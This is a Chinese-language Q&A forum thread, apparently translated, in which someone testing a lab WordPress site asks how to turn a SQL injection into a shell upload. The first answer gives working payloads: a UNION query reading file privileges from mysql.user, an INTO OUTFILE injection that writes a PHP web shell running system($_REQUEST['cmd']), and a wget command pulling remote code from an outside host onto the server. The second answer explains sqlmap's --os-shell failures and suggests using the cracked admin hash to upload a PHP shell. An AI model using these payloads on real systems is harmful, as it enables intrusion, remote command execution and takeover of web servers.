使用 SQLI 上传 Shell

信息安全 sql注入 mysql
2021-08-25 11:07:51

我在我的一台实验室机器内的 Wordpress 安装中发现了一个SQL 注入漏洞,我正试图利用它来上传一个 shell。

我可以得到管理员哈希,但它似乎很复杂,因为 JTR 和 HASHCAT 需要很长时间而没有运气。

这是 SQLmap 的基本输出:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

我尝试--os-shell了选项,但似乎没有写入权限,因为我收到以下错误:

[02:26:36] [警告] 无法自动检索任何 Web 服务器路径

[02:26:36] [INFO] 尝试通过 LIMIT INTO OUTFILE 技术在“/var/www”上上传文件暂存器

[02:26:37] [警告] 无法在“/var/www”上上传文件暂存器

[02:26:37] [INFO] 尝试通过 UNION 技术在“/var/www”上上传文件暂存器

[02:26:37] [警告] 预计文件中的垃圾字符是 UNION 查询的剩余部分

[02:26:38] [警告] 看起来文件尚未写入,如果 DBMS 进程的用户在目标路径中没有写入权限,则可能会发生这种情况

我可以毫无问题地获得 --sql-shell 。我尝试了此处的步骤(http://evilzone.org/tutorials/upload-shell-with-sql-injection/)上传外壳,但出现以下错误

[02:00:16] [警告] 自定义 SQL 查询的执行仅在支持堆叠查询时可用

现在,我需要一种将 shell 上传到目标机器的方法,有什么想法吗?还有什么想法可以在线破解 Wordpress 管理员密码哈希?

2个回答

是的,您可以使用 SQL 语句将 shell 写入 Web 服务器,而无需登录管理面板或任何其他控制面板。

但是为此,您必须满足某些要求:

  1. 你必须有写权限和一个可写的目录(你必须上传你的shell)
  2. 根路径(即/var/www/website/
  3. 必须启用魔术行情

检查写入权限

现在的问题是如何检查您是否有写权限?您可以简单地file_privmysql.user表格中读取

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

如果它Y在您当前用户之后显示,那么您很幸运并且您拥有写入权限。

创建一个文件来接收shell

现在是时候使用 MySQL 语句了。我们将使用INTO OUTFILE,它将您选择的行写入文件。基本语法是:

select column_name from table_name into outfile "filepath/file.extension

像这样的东西应该shell.php在网站目录中创建一个名为的文件,并在其中写入 PHP 代码:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

访问外壳

现在我们可以通过访问来访问我们的 shell http://website.com/shell.php?cmd=whoami之后可以运行任何命令cmd=curl您现在可以使用或 `wget(在 Linux 服务器上)将现成的 shellcode 上传到服务器:

`http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php`

然后您可以使用以下命令访问您的外壳:

http://website.com/code.php

希望你明白一切:)

首先,如果您正在调试 sqlmap 故障,您需要调高详细程度。没有人能真正回答这个问题,因为你没有收集到适当的信息。

--os-shell通过尝试使用 将into outfile文件写入 Web 根目录,适用于 MySQL 这可能由于多种原因而失败。最常见的原因是数据库和 Web 服务器和机器不同。Ubuntu 的默认 AppArmor 规则集禁止 MySQL 写入 /var/www/。此外,into outfile需要永远不应授予(但通常是)的文件权限。您可以尝试使用 sqlmap 的 file-io 功能来读取和写入远程文件系统。

在此应用程序的上下文中,转储 Wordpress MySQL 数据库的内容将产生管理员的密码哈希。破解此哈希将产生一个 Wordpress 管理员帐户,该帐户几乎总是能够上传和安装 Wordpress 扩展......或 PHP shell。